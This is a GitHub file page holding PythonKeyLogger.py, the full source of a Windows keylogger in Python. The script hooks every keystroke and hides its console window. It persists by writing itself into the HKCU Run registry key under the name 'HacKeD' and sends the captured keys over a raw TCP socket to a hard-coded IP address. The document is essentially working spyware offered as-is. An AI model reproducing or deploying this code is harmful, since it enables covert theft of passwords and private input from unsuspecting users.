-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathPythonKeyLogger.py
More file actions
53 lines (45 loc) · 1.24 KB
/
PythonKeyLogger.py
File metadata and controls
53 lines (45 loc) · 1.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python
import pyHook, pythoncom
import socket
import win32event, win32api, winerror
from _winreg import *
def AddProgramToStartup():
fp=os.path.dirname(os.path.realpath(__file__))
file_name="maleware.py"
new_file_path=fp+"\\"+file_name
#print new_file_path
keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
key2change= OpenKey(HKEY_CURRENT_USER,keyVal,0,KEY_ALL_ACCESS)
SetValueEx(key2change, "HacKeD",0,REG_SZ, new_file_path)
data=''
HOST_IP="192.168.4.78"
def SendToRemoteServer():
global data
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST_IP, 500))
sock.send(data)
sock.close()
return True
def HideCmd():
import win32console,win32gui
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
return True
def GetKeyPressedAndSendIt(event):
global data
if event.Ascii==13:
keys='<ENTER>'
elif event.Ascii==8:
keys='<BACK SPACE>'
elif event.Ascii==9:
keys='<TAB>'
else:
keys=chr(event.Ascii)
data=data+keys
HideCmd()
SendToRemoteServer()
AddProgramToStartup()
hm = pyHook.HookManager()
hm.KeyDown = GetKeyPressedAndSendIt
hm.HookKeyboard()
pythoncom.PumpMessages()